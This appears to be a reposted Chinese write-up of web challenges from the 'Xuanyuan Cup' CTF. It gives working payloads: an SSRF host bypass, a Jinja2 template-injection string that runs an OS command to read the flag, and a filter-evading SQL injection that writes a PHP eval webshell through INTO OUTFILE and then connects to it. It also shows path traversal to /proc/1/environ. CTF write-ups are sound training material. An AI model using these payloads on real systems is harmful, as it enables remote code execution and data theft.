当前位置: 首页 > news >正文

“轩辕杯“云盾砺剑 CTF挑战赛web方向题解

目录

ezjs

签到

ezssrf1.0

ezflask

ezrce

ezsql1.0

ezweb


ezjs

看到这个,直接访问getflag.php,POS提交score =100000000000

签到

6个小模块,我直接放bp的结果

1

2

3

4

5

6

ezssrf1.0

?url=http:@127.0.1/FFFFF11111AAAAAggggg.php也可以

ezflask

emmmm,我是用fenqing一把嗦的

{{((joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('o''s'))['p''open']('CAT /FLAG'|lower))['read']()}}

ezrce

难点就是如何绕过这个waf

这题可以用时readgzfile

该函数用于输出一个 .gz 文件的内容

但是对于非 gzip 格式的文件,直接读取内容

这里还有一种解法:

我们可以用\符号开头,它不会影响函数的运行

ezsql1.0

outfile

into outfile '/var/www/html/1.php' - 这是SQL的文件写入操作,将查询结果写入到服务器的 /var/www/html/1.php 文件中

fuzz一波,ban了空格,select会被替换成空

空格的话这里%09和/**/都可以绕过

这里是发现有写入的权限

payload:

?id=-1%09union%09seselectlect%091,%27%3C?=eval($_POST[1]);?%3E%27,3%09into%09outfile%09%27/var/www/html/1.php%27#

访问:

直接蚁剑连接:

在/var/db.sql这里找到flag的base64编码后的值

解码即可

ezweb

这题还没有完全掌握,思路是借鉴其他师傅的

账号为fly233

密码是123456789

这里发现有个参数,那就不急着文件上传

发现可以目录便利:

最后在/proc/1/environ找到flag

相关文章:

  • 服务器数据恢复—V7000存储上raid5热备盘同步数据失败如何恢复数据?
  • fastadmin添加管理员账号只能查看一个表中指定条件的数据
  • String.join()-高效字符串拼接
  • 在线时间戳(Unix TimeStamp)转换器
  • Linux系统编程-DAY03
  • 新一代网校培训平台的技术演进:从教育源码开发到AI赋能教学转型
  • 【笔试强训day38】
  • 有没有开源的企业网盘,是否适合企业使用?
  • ssrf漏洞学习
  • labview实现登录系统
  • PyTorch中diag_embed和transpose函数使用详解
  • 工商业预付费系统组成架构及系统特点介绍
  • 01-jenkins学习之旅-window-下载-安装-安装后设置向导
  • Spring IoC 和 AOP -- 核心原理与高频面试题解析
  • 设计双向链表--LeetCode
  • MinerU教程第二弹丨MinerU 本地部署保姆级“喂饭”教程
  • BGE-M3 文本情感分类实战:预训练模型微调,导出ONNX并测试
  • OpenCv高阶(十七)——dlib库安装、dlib人脸检测
  • Jeecg漏洞总结及tscan poc分享
  • Mujoco 学习系列(四)官方模型仓库 mujoco_menagerie
  • 网站建设的流程步骤/网络推广都有哪些方式
  • 网站建设服务合同/广西seo优化
  • 设计师必看的10个网站/创建免费网站
  • 慈溪建设企业网站/福州专业的seo软件
  • 湘西网站建设吧/前端开发
  • 网站如何做免费推广/谷歌浏览器chrome官网